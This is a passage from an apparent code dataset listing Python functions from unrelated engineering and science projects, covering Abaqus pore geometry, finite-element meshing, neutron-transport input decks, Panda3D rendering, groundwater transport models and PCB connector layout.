#Schneiden\\n self.assembly.InstanceFromBooleanCut(\\n name='RVE',\\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\\n originalInstances=SUPPRESS)\\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\\n # del self.model.parts[self.name+'_Wuerfel']\\n # del self.model.parts[self.name+'_Pore']\\n self.part_RVE = self.model.parts[self.name]\\n elif (self.dimension == '2D'):\\n #Sketch Wuerfel zeichnen\\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\\n name='Seitenansicht_Wuerfel',\\n sheetSize=200.0)\\n self.sketch_Wuerfel.rectangle(\\n point1=(0.0, 0.0),\\n point2=(self.laenge_x/2.0, self.laenge_y/2.0)) #x- und y-Symmetrie\\n #Part Wuerfel generieren\\n self.part_Wuerfel = self.model.Part(\\n name=self.name+'_Wuerfel',\\n dimensionality=TWO_D_PLANAR,\\n type=DEFORMABLE_BODY)\\n self.part_Wuerfel.BaseShell(sketch=self.sketch_Wuerfel)\\n #Sketch Pore zeichnen\\n self.sketch_Pore = self.model.ConstrainedSketch(\\n name='Seitenansicht_Pore',\\n sheetSize=200.0)\\n if (self.typ_Pore == 'Ellipsoid'):\\n self.sketch_Pore.ConstructionLine(\\n point1=(0.0, -100.0),\\n point2=(0.0, 100.0))\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n self.sketch_Pore.autoTrimCurve(\\n curve1=self.sketch_Pore.geometry[3],\\n point1=(-self.porenparameter_x/2.0, 0.0))\\n self.sketch_Pore.Line(\\n point1=(0.0, self.porenparameter_y/2.0),\\n point2=(0.0, -self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Quader'):\\n self.sketch_Pore.rectangle(\\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Zylinder'):\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n else:\\n print('typ_Pore Error!')\\n #Part Pore generieren\\n self.part_Pore = self.model.Part(\\n name=self.name+'_Pore',\\n dimensionality=TWO_D_PLANAR,\\n type=DEFORMABLE_BODY)\\n self.part_Pore.BaseShell(sketch=self.sketch_Pore)\\n #Assemble\\n self.assembly = self.model.rootAssembly\\n self.assembly.DatumCsysByDefault(CARTESIAN)\\n self.assembly.Instance(\\n name=self.name+'_Wuerfel',\\n part=self.part_Wuerfel,\\n dependent=ON)\\n self.assembly.Instance(\\n name=self.name+'_Pore',\\n part=self.part_Pore,\\n dependent=ON)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, self.laenge_z/2.0),\\n axisDirection=(0.0, 0.0, self.laenge_z/2.0+1),\\n angle=self.porenparameter_rz)\\n self.assembly.InstanceFromBooleanCut(\\n name='RVE',\\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\\n originalInstances=SUPPRESS)\\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\\n del self.model.parts[self.name+'_Wuerfel']\\n #del self.model.parts[self.name+'_Pore']\\n self.part_RVE = self.model.parts[self.name]\\n else:\\n print('dimension Error!')\",\n \"def create_3d_patch(model,orgin,size,N,setname='default'):\\n \\n N = map(int,N)\\n # create the coordinates and connectivity based on one\\n bxyz,bcube = block3d(orgin,size,N)\\n \\n # add node to model starting with current highest node seq\\n nn = int(model.node(bxyz))\\n update_bcube = bcube + int(nn)\\n \\n pelemset = model.element(update_bcube,setname)\\n \\n \\n nx = N[0] + 1\\n ny = N[1] + 1\\n nz = N[2] + 1\\n \\n \\n nodeline = {}\\n\\n nodeline['1'] = [nn + 1]\\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\\n \\n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\\n\\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\\n \\n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\\n \\n nodeline['1-2-3-4'] = []\\n nodeline['5-6-7-8'] = []\\n nodeline['1-2-6-5'] = []\\n nodeline['4-3-7-8'] = []\\n nodeline['1-4-8-5'] = []\\n nodeline['2-3-7-6'] = []\\n \\n for i in range(0,nx):\\n for j in nodeline['1-4']:\\n nodeline['1-2-3-4'].append(j + i*ny*nz)\\n for j in nodeline['5-8']:\\n nodeline['5-6-7-8'].append(j + i*ny*nz) \\n \\n for j in nodeline['1-5']:\\n nodeline['1-2-6-5'].append(j + i*ny*nz) \\n for j in nodeline['4-8']:\\n nodeline['4-3-7-8'].append(j + i*ny*nz)\\n \\n for i in range(0,ny):\\n for j in nodeline['1-5']:\\n nodeline['1-4-8-5'].append(j + i*nz)\\n for j in nodeline['2-6']:\\n nodeline['2-3-7-6'].append(j + i*nz)\\n #\\n for key in nodeline:\\n nodesetname = '-'.join([setname , key])\\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\\n\\n return model\",\n \"def create_plaquette(self, baseStr, fidpairs):\\n ji_list = list(_itertools.product(list(range(self.nMinorRows)),\\n list(range(self.nMinorCols))))\\n assert(len(ji_list) >= len(fidpairs)), \\\"Number of minor rows/cols is too small!\\\"\\n\\n elements = [(j, i, prepStr + baseStr + effectStr)\\n for (j, i), (prepStr, effectStr) in\\n zip(ji_list[0:len(fidpairs)], fidpairs)] # note preps are *cols* not rows\\n\\n return CircuitPlaquette(baseStr, self.nMinorRows,\\n self.nMinorCols, elements,\\n self.aliases, fidpairs[:])\",\n \"def _make_serpent_input(self):\\n # Create the problem description\\n lines = ['% Point source in infinite geometry']\\n lines.append('')\\n\\n # Set the cross section library directory\\n if self.xsdir is not None:\\n xsdata = (self.other_dir / 'xsdata').resolve()\\n lines.append(f'set acelib \\\"{xsdata}\\\"')\\n lines.append('')\\n \\n # Create the cell cards: material 1 inside sphere, void outside\\n lines.append('% --- Cell cards ---')\\n lines.append('cell 1 0 m1 -1')\\n lines.append('cell 2 0 outside 1')\\n lines.append('')\\n\\n # Create the surface cards: box centered on origin with 2e9 cm sides`\\n # and reflective boundary conditions\\n lines.append('% --- Surface cards ---')\\n lines.append('surf 1 cube 0.0 0.0 0.0 1.e9')\\n\\n # Reflective boundary conditions\\n lines.append('set bc 2')\\n lines.append('')\\n\\n # Create the material cards\\n lines.append('% --- Material cards ---')\\n name = zaid(self.nuclide, self.suffix)\\n if self.thermal is not None:\\n Z, A, m = openmc.data.zam(self.nuclide)\\n lines.append(f'mat m1 -{self.density} moder t1 {1000*Z + A}')\\n else:\\n lines.append(f'mat m1 -{self.density}')\\n lines.append(f'{name} 1.0')\\n\\n # Add thermal scattering library associated with the nuclide\\n if self.thermal is not None:\\n lines.append(f'therm t1 {self.thermal}')\\n lines.append('')\\n\\n # External source mode with isotropic point source at center of sphere\\n lines.append('% --- Set external source mode ---')\\n lines.append(f'set nps {self.particles} {self._batches}')\\n energy = self.energy * 1e-6\\n lines.append(f'src 1 n se {energy} sp 0.0 0.0 0.0')\\n lines.append('')\\n\\n # Detector definition: flux energy spectrum\\n lines.append('% --- Detector definition ---')\\n lines.append('det 1 de 1 dc 1')\\n\\n # Energy grid definition: equal lethargy spacing\\n min_energy = self._min_energy * 1e-6\\n lines.append(f'ene 1 3 {self._bins} {min_energy} {1.0001*energy}')\\n lines.append('')\\n\\n # Treat fission as capture\\n lines.append('set nphys 0')\\n\\n # Turn on unresolved resonance probability treatment\\n lines.append('set ures 1')\\n\\n # Write the problem\\n with open(self.other_dir / 'input', 'w') as f:\\n f.write('\\\\n'.join(lines))\",\n \"def create(self, verbose=False):\\r\\n # delete the window if its handle exists\\r\\n if cmds.window(self.window, exists=True):\\r\\n cmds.deleteUI(self.window)\\r\\n # initialize the window as a pane for docking\\r\\n self.window = cmds.loadUI(uiFile=self.uiFile, verbose=verbose)\\r\\n #layoutWin = cmds.paneLayout(configuration='single')\\r\\n # create a dockControl and parent the control to layoutWin\\r\\n cmds.dockControl(allowedArea='all', area='right', floating=False, \\r\\n height=cmds.window(self.window, query=True, height=True), \\r\\n content=self.window, label='Docked Cone Pointer Window')\\r\\n cmds.showWindow(self.window)\",\n \"def createInputDeck(self,cylinderPositions,inp=None,name=None):\\n self.inp = inp\\n self.name = name\\n if not inp:\\n self.inp = 'INP_Cylinder.mcnp'\\n if not name:\\n self.name = 'OUT_Cylinder.'\\n oFile = self.inp\\n \\n # Problem Constants\\n cellString = 'c ------------------------- Source ----------------------------------------\\\\n'\\n cellString += '70 5 -15.1 -70 $ 252Cf source \\\\n' \\n cellString += '71 406 -11.34 -71 70 $ Lead around source\\\\n'\\n cellString += '72 456 -0.93 -72 71 $ Poly around source\\\\n'\\n\\n surfString = 'c ########################### Surface Cards ##############################\\\\n'\\n surfString += 'c ------------------- Encasing Bounds (Size of RPM8) ---------------------\\\\n'\\n surfString += '500 rpp 0 12.7 -15.25 15.25 0 217.7 \\\\n'\\n\\n # Add in other cells here\\n numCells = 4 # 3 Source, 1 RPM8 Encasing\\n \\n ##################################################################\\n # Add in Detector Cells and Surfaces #\\n ##################################################################\\n universeNum = 1\\n (s,c,detectorCells,cellsCreated) = self.createDetectorCylinder(universeNum)\\n surfString += s\\n cellString += 'c ------------------- Detector Cylinder Universe ------------------------\\\\n'\\n cellString += c\\n transNum = 1\\n uCellNum = self.UniverseNum\\n transString = ''\\n cellString += 'c ----------------------- Detector Universe ----------------------------\\\\n'\\n for pos in cylinderPositions:\\n transString += self.tranForStr.format(transNum,pos[0],pos[1])\\n cellString += '{:5d} 0 -{:d} trcl={:d} fill={:d}\\\\n'.format(uCellNum,self.SurfaceStartNum,transNum,universeNum)\\n transNum +=1\\n uCellNum +=1\\n # Adding the PMMA Moderator Block\\n m = self.material['Moderator']\\n cellString += 'c ------------------------- HDPE Moderator -----------------------------\\\\n'\\n cellString += '{:5d} {:d} -{:4.3f} -{:d} '.format(500,m['mt'],m['rho'],self.ZeroSurfaceNum)\\n cellString += ''.join('#{:d} '.format(i) for i in range(self.UniverseNum,uCellNum))\\n cellString += '\\\\n'\\n # Getting total number of cells\\n numCells += cellsCreated + uCellNum-self.UniverseNum +1\\n \\n ##################################################################\\n # Write the Tallies #\\n ##################################################################\\n univCells = range(self.UniverseNum,uCellNum)\\n tallyString = 'c ------------------------- Tallies Yo! -----------------------------------\\\\n'\\n tallies = {'F54:n':{'cells':detectorCells,'comments':'FC54 6Li Reaction Rates\\\\n',\\n 'options':' T\\\\nSD54 1 {0:d}R\\\\nFM54 -1 3 105'}}\\n for t in tallies:\\n # Getting a list of cells\\n tallyString += tallies[t]['comments']\\n tallyString += str(t)+' '\\n j = 0\\n for u in univCells:\\n cell = list('('+str(c)+'<'+str(u)+') ' for c in tallies[t]['cells'])\\n cell = [cell[i:i+6] for i in range(0,len(cell),6)]\\n if j > 0:\\n tallyString += ' '+''.join(''.join(i)+'\\\\n' for i in cell)\\n else:\\n tallyString += ' '.join(''.join(i)+'\\\\n' for i in cell)\\n j +=1\\n tallyString = tallyString.rstrip()\\n tallyString += tallies[t]['options'].format(len(univCells)*len(tallies[t]['cells']))\\n tallyString+='\\\\n'\\n\\n # Finish up the problem data\\n cellString += 'c ---------------------- Detector Encasing ------------------------------\\\\n'\\n cellString += '700 488 -7.92 701 -700 $ SS-316 Encasing \\\\n'\\n cellString += 'c -------------------------- Outside World -------------------------------\\\\n'\\n cellString += '1000 204 -0.001225 -1000 700 #70 #71 #72 $ Atmosphere \\\\n'\\n cellString += '1001 0 1000 \\\\n'\\n \\n surfString += 'c ------------------------ Encasing Material -----------------------------\\\\n'\\n surfString += '700 rpp -0.3175 13.018 -15.5675 15.5675 -0.3175 218.018 \\\\n'\\n surfString += '701 rpp 0.0 12.7 -15.25 15.25 0.0 217.7 \\\\n'\\n surfString += 'c -------------- Source --------------------------------------------------\\\\n'\\n surfString += '70 s -200 0 108.85 2.510E-04 $ Source \\\\n'\\n surfString += '71 s -200 0 108.85 5.0025E-01 $ 0.5 cm lead surrounding source \\\\n'\\n surfString += '72 s -200 0 108.85 3.00025 $ 2.5 cm poly surrounding source \\\\n'\\n surfString += 'c -------------- Outside World -------------------------------------------\\\\n'\\n surfString += '1000 so 250 \\\\n'\\n\\n matString = 'c -------------------------- Material Cards -----------------------------\\\\n'\\n matString += self.material['Detector']['matString']\\n matString += self.getMaterialString()\\n with open(oFile,'w') as o:\\n o.write('MCNPX Simulation of RPM8 Cylinder\\\\n')\\n o.write(cellString)\\n o.write('\\\\n')\\n o.write(surfString)\\n o.write('\\\\n')\\n o.write(self.getRunString().format(numCells))\\n o.write(self.getSrcString())\\n o.write(tallyString)\\n o.write(matString)\\n o.write(transString)\\n o.write('\\\\n')\",\n \"def fig3b():\\n # fmt: off\\n tpm = np.array([\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n ])\\n cm = np.array([\\n [0, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n ])\\n # fmt: on\\n return Network(tpm, cm=cm, node_labels=LABELS[:tpm.shape[1]])\",\n \"def __init__(self):\\n Page.__init__(self, u\\\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\\\")\\n\\n z = 0.5\\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\\n\\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\\n\\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\\n mesh1.setLinesVisible(True)\\n mesh1.setMeshVisible(False)\\n mesh1.setBoundingBox(zrange=(-1, 1.5))\\n par.setAmbientColor(_1(145, 61, 74))\\n par.setDiffuseColor(_1(145, 61, 74))\\n par.setSpecularColor(_1(145, 61, 74))\\n baseplane = BasePlane()\\n baseplane.setHeight(0)\\n baseplane.setRange((-2, 2, 7))\\n\\n self.addChild(par)\\n self.addChild(mesh1)\\n self.addChild(baseplane)\",\n \"def compiler(input_ckt:pathlib.Path, design_name:str, pdk_dir:pathlib.Path, flat=0, Debug=False):\\n logger.info(\\\"Starting topology identification...\\\")\\n input_dir = input_ckt.parents[0]\\n logger.debug(f\\\"Reading subckt {input_ckt}\\\")\\n #\\n # TODO: flatten should be separate pass\\n #\\n sp = SpiceParser(input_ckt, design_name, flat, pdk_dir)\\n circuit_graphs = sp.sp_parser()\\n assert circuit_graphs !=None , f\\\"No subcircuit with name {design_name} found in spice {input_ckt}\\\"\\n circuit = circuit_graphs[0]\\n\\n design_setup = read_setup(input_dir / f'{design_name}.setup')\\n logger.debug(f\\\"template parent path: {pathlib.Path(__file__).parent}\\\")\\n lib_path = pathlib.Path(__file__).resolve().parent.parent / 'config' / 'basic_template.sp'\\n logger.debug(f\\\"template library path: {lib_path}\\\")\\n basic_lib = SpiceParser(lib_path)\\n library = basic_lib.sp_parser()\\n lib_path=pathlib.Path(__file__).resolve().parent.parent / 'config' / 'user_template.sp'\\n user_lib = SpiceParser(lib_path)\\n library += user_lib.sp_parser()\\n library = [HierDictNode(**x, constraints=[], ports_weight={}) for x in library]\\n library=sorted(library, key=lambda k: max_connectivity(k.graph), reverse=True)\\n\\n logger.debug(f\\\"dont use cells: {design_setup['DONT_USE_CELLS']}\\\")\\n logger.debug(f\\\"all library elements: {[ele['name'] for ele in library]}\\\")\\n if len(design_setup['DONT_USE_CELLS'])>0:\\n library=[lib_ele for lib_ele in library if lib_ele['name'] not in design_setup['DONT_USE_CELLS']]\\n #read lef to not write those modules as macros\\n lef_path = pathlib.Path(__file__).resolve().parent.parent / 'config'\\n all_lef = read_lef(lef_path)\\n logger.debug(f\\\"Available library cells: {', '.join(all_lef)}\\\")\\n\\n if Debug==True:\\n _write_circuit_graph(circuit[\\\"name\\\"], circuit[\\\"graph\\\"],\\n \\\"./circuit_graphs/\\\")\\n for lib_circuit in library:\\n _write_circuit_graph(lib_circuit[\\\"name\\\"], lib_circuit[\\\"graph\\\"],\\n \\\"./circuit_graphs/\\\")\\n #Converting graph to dict\\n const_parse = ConstraintParser(pdk_dir, input_dir)\\n create_data = CreateDatabase(circuit[\\\"graph\\\"], const_parse)\\n hier_graph_dict = create_data.read_inputs(circuit[\\\"name\\\"])\\n logger.debug(\\\"START preprocessing\\\")\\n stacked_subcircuit=[]\\n\\n #\\n # TODO: Re-implement stacked transistor detection using new passes\\n #\\n for circuit_name, circuit in hier_graph_dict.items():\\n logger.debug(f\\\"preprocessing circuit name: {circuit_name}\\\")\\n G1 = circuit[\\\"graph\\\"]\\n if circuit_name not in design_setup['DIGITAL']:\\n define_SD(circuit,design_setup['POWER'],design_setup['GND'], design_setup['CLOCK'])\\n stacked_subcircuit.append(preprocess_stack_parallel(hier_graph_dict,circuit_name,G1))\\n for circuit_name in stacked_subcircuit:\\n if circuit_name in hier_graph_dict.keys() and circuit_name is not design_name:\\n logger.debug(f\\\"removing stacked subcircuit {circuit_name}\\\")\\n del hier_graph_dict[circuit_name]\\n #\\n # TODO: pg_pins should be marked using constraints. Not manipulating netlist\\n #\\n logger.debug(\\\"Modifying pg pins in design for PnR\\\")\\n pg_pins = design_setup['POWER']+design_setup['GND']\\n remove_pg_pins(hier_graph_dict,design_name, pg_pins)\\n\\n logger.debug( \\\"\\\\n################### FINAL CIRCUIT AFTER preprocessing #################### \\\\n\\\")\\n for circuit in hier_graph_dict.values():\\n for node in circuit[\\\"graph\\\"].nodes(data=True):\\n if node[1][\\\"inst_type\\\"]!='net':\\n logger.debug(node)\\n\\n annotate = Annotate(hier_graph_dict, design_setup, library, all_lef)\\n annotate.annotate()\\n return hier_graph_dict\",\n \"def generaCubo(self):\\r\\n #Use Panda predefined format for vertex coordinate only\\r\\n format = GeomVertexFormat.getV3()\\r\\n \\r\\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \\r\\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\\r\\n \\r\\n #I will have to write vertex data so I create a writer for these data\\r\\n vertex = GeomVertexWriter(vdata, 'vertex')\\r\\n \\r\\n #I now use the writer to add vertex data\\r\\n vertex.addData3f(0, 0, 0)\\r\\n vertex.addData3f(1, 1, 1)\\r\\n vertex.addData3f(0, 1, 1)\\r\\n vertex.addData3f(0, 1, 0)\\r\\n vertex.addData3f(0, 0, 1)\\r\\n vertex.addData3f(1, 0, 0)\\r\\n vertex.addData3f(1, 0, 1)\\r\\n vertex.addData3f(1, 1, 0)\\r\\n \\r\\n #I now create 12 triangles\\r\\n prim = GeomTriangles(Geom.UHStatic)\\r\\n\\r\\n #and then I add vertex to them\\r\\n #Next time use addVertices(0,1,2) !!!\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(3)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(2)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(4)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(2)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(3)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(5)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n #Create a Geom to bing vertex data to primitives\\r\\n geom = Geom(vdata)\\r\\n geom.addPrimitive(prim)\\r\\n\\r\\n #Create a node for the Geom in order to be able to render it\\r\\n node = GeomNode('gnode')\\r\\n node.addGeom(geom)\\r\\n\\r\\n #Adde the node to the scene graph == render it!\\r\\n nodePath = render.attachNewNode(node)\\r\\n \\r\\n #is this needed?\\r\\n nodePath.setPos( 0, 5, 0)\\r\\n \\r\\n self.camera.lookAt(nodePath)\\r\\n \\r\\n base.setBackgroundColor( .0, .0, .0 )\\r\\n \\r\\n taskMgr.add(self.SpinCameraTask, \\\"SpinCameraTask\\\")\",\n \"def __init__(self,mf,rnmf,exemt3dms,modelname,workspace,dataspace,fltfile):\\n #Constructor begins here\\n self.__exefile=exemt3dms\\n self.__workspace=workspace\\n self.__dataspace=dataspace\\n self.__modelname=modelname\\n self.__ftlnm=fltfile\\n \\n # create mt3dms model object\\n self.__mt = flopy.mt3d.Mt3dms(modflowmodel=mf, modelname=self.__modelname, \\n exe_name=self.__exefile , ftlfilename=self.__ftlnm,\\n model_ws=self.__workspace)\\n \\n # basic transport package\\n perlen=rnmf.getPerlen()\\n nper=rnmf.getNper()\\n nstp=rnmf.getNstp()\\n self.__btn = flopy.mt3d.Mt3dBtn(self.__mt, prsity=0.3, icbund = 1, sconc=0.0, ncomp=1, \\n perlen = perlen, nper=nper, nstp = nstp, tsmult = 1.0, \\n nprs = -1, nprobs = 10, cinact = -1, chkmas=True)\\n \\n # advaction package\\n self.__adv = flopy.mt3d.Mt3dAdv(self.__mt, mixelm=-1, percel=0.75)\\n # dispersion package\\n self.__dsp = flopy.mt3d.Mt3dDsp(self.__mt, al=1000, trpt=0.1, trpv=0.1, dmcoef=1e-09)\\n #Forcing objects\\n itype = flopy.mt3d.Mt3dSsm.itype_dict()\\n print(itype)\\n print(flopy.mt3d.Mt3dSsm.get_default_dtype())\\n wellbld=rnmf.getWelBld()\\n self.__ssm=wellbld.createssm(self.__mt,itype)\\n # matrix solver package\\n self.__gcg = flopy.mt3d.Mt3dGcg(self.__mt, cclose=1e-6)\",\n \"def convert_topology(src_filename, set_backbone=True, in_place=False, split_dir=None):\\n\\n # Grab unit cell description (should be on first few lines:\\n cryst = None\\n with open(src_filename) as src:\\n for line in src.readlines():\\n if line.startswith('CRYST1'):\\n cryst = line\\n break\\n\\n # Read in source PDB (DEShaw original format)\\n src_pdb = PdbStructure(open(src_filename))\\n atoms = list(src_pdb.iter_atoms())\\n topo = md.load(src_filename).top\\n\\n # Break into 4 segments\\n segment_list = ['C1', 'C2', 'C3', 'C4']\\n segment = {l:[] for l in segment_list}\\n for i in atoms: \\n segment[i.segment_id].append(i)\\n\\n # Set temperature factor (for gradual heating) \\n if set_backbone:\\n backbone = topo.select(\\\"backbone\\\")\\n for i in range(0, len(segment['C1'])):\\n if i in backbone:\\n segment['C1'][i].location.temperature_factor = 1.0\\n\\n # Resort water segements and alias \\\"pseu\\\" to OM (tip4p forcefield)\\n for wat in ['C2', 'C3']:\\n segment[wat] = sorted(segment[wat], key = lambda i: i.residue_number)\\n start_serial_num = min(segment[wat], key= lambda i: i.serial_number)\\n for i in range(0, len(segment[wat])):\\n newsn = i + start_serial_num.serial_number\\n segment[wat][i].serial_number = newsn\\n if segment[wat][i].get_name == 'pseu':\\n segment[wat][i].set_name_with_spaces(' OM ')\\n\\n # FOR RE-RUNNING THE PSFGEN\\n if split_dir is not None:\\n for s in segment_list:\\n with open(split_dir + '/%s.pdb' % s, 'w') as dest:\\n for atom in segment[s]:\\n _=dest.write(str(atom) + '\\\\n')\\n\\n # Writeout new file\\n if in_place:\\n dest = open(src_filename, 'w')\\n if cryst is not None:\\n dest.write(cryst)\\n for s in segment_list:\\n for atom in segment[s]:\\n _=dest.write(str(atom) + '\\\\n')\\n _=dest.write('END')\\n dest.close()\",\n \"def b_create_base_geometry(b_name):\\n b_obj = b_create_cube(b_name)\\n return b_obj\",\n \"def create_network_block(\\n self,\\n object_name,\\n power,\\n rjc,\\n rjb,\\n gravity_dir,\\n top,\\n assign_material=True,\\n default_material=\\\"Ceramic_material\\\",\\n use_object_for_name=True,\\n ):\\n if object_name in self.modeler.primitives.object_names:\\n faces = self.modeler.primitives.get_object_faces(object_name)\\n k = 0\\n faceCenter = {}\\n for f in faces:\\n faceCenter[f] = self.modeler.oeditor.GetFaceCenter(int(f))\\n faceCenter[f] = [round(float(i), 1) for i in faceCenter[f]]\\n k = k + 1\\n fcmax = -1e9\\n fcmin = 1e9\\n fcrjc = None\\n fcrjb = None\\n for fc in faceCenter:\\n fc1 = faceCenter[fc]\\n if fc1[gravity_dir] < fcmin:\\n fcmin = fc1[gravity_dir]\\n fcrjc = int(fc)\\n if fc1[gravity_dir] > fcmax:\\n fcmax = fc1[gravity_dir]\\n fcrjb = int(fc)\\n if fcmax < float(top):\\n app = fcrjc\\n fcrjc = fcrjb\\n fcrjb = app\\n if assign_material:\\n self.modeler.primitives[object_name].material_name = default_material\\n props = {}\\n if use_object_for_name:\\n boundary_name = object_name\\n else:\\n boundary_name = generate_unique_name(\\\"Block\\\")\\n props[\\\"Faces\\\"] = [fcrjc, fcrjb]\\n props[\\\"Nodes\\\"] = OrderedDict(\\n {\\n \\\"Face\\\" + str(fcrjc): [fcrjc, \\\"NoResistance\\\"],\\n \\\"Face\\\" + str(fcrjb): [fcrjb, \\\"NoResistance\\\"],\\n \\\"Internal\\\": [power],\\n }\\n )\\n props[\\\"Links\\\"] = OrderedDict(\\n {\\n \\\"Link1\\\": [\\\"Face\\\" + str(fcrjc), \\\"Internal\\\", \\\"R\\\", str(rjc) + \\\"cel_per_w\\\"],\\n \\\"Link2\\\": [\\\"Face\\\" + str(fcrjb), \\\"Internal\\\", \\\"R\\\", str(rjb) + \\\"cel_per_w\\\"],\\n }\\n )\\n props[\\\"SchematicData\\\"] = OrderedDict({})\\n bound = BoundaryObject(self, boundary_name, props, \\\"Network\\\")\\n if bound.create():\\n self.boundaries.append(bound)\\n self.modeler.primitives[object_name].solve_inside = False\\n return bound\\n return None\",\n \"def add_connector(self):\\n \\n no = len(self.connectors)\\n state = {}\\n state[\\\"s_pin\\\"] = no\\n state[\\\"p_pin\\\"] = no\\n state[\\\"s_label\\\"] = \\\"C%d\\\" % no\\n \\n if len(self.connectors)>0:\\n state = self.connectors[-1].get_state()\\n state[\\\"s_pin\\\"] = no\\n state[\\\"p_pin\\\"] = no\\n state[\\\"s_label\\\"] = \\\"C%d\\\" % (no)\\n else:\\n if self.mount == self.MOUNT_THT:\\n state[\\\"p_shape\\\"] = Con.SHAPE_HOLE\\n elif self.mount == self.MOUNT_SMD:\\n state[\\\"p_shape\\\"] = Con.SHAPE_PAD\\n \\n c = Con(no)\\n c.set_state(state) \\n \\n self.sch_layers[\\\"pins\\\"].add(c.s_svg)\\n self.pcb_layers[\\\"copper1\\\"].add(c.p_svg)\\n self.connectors.append(c)\",\n \"def defineBLOCKSECTION(f,layernamelist):\\r\\n feilinname_lineheight=2.5\\r\\n #note_lineheigh=4\\r\\n layercount=0\\r\\n 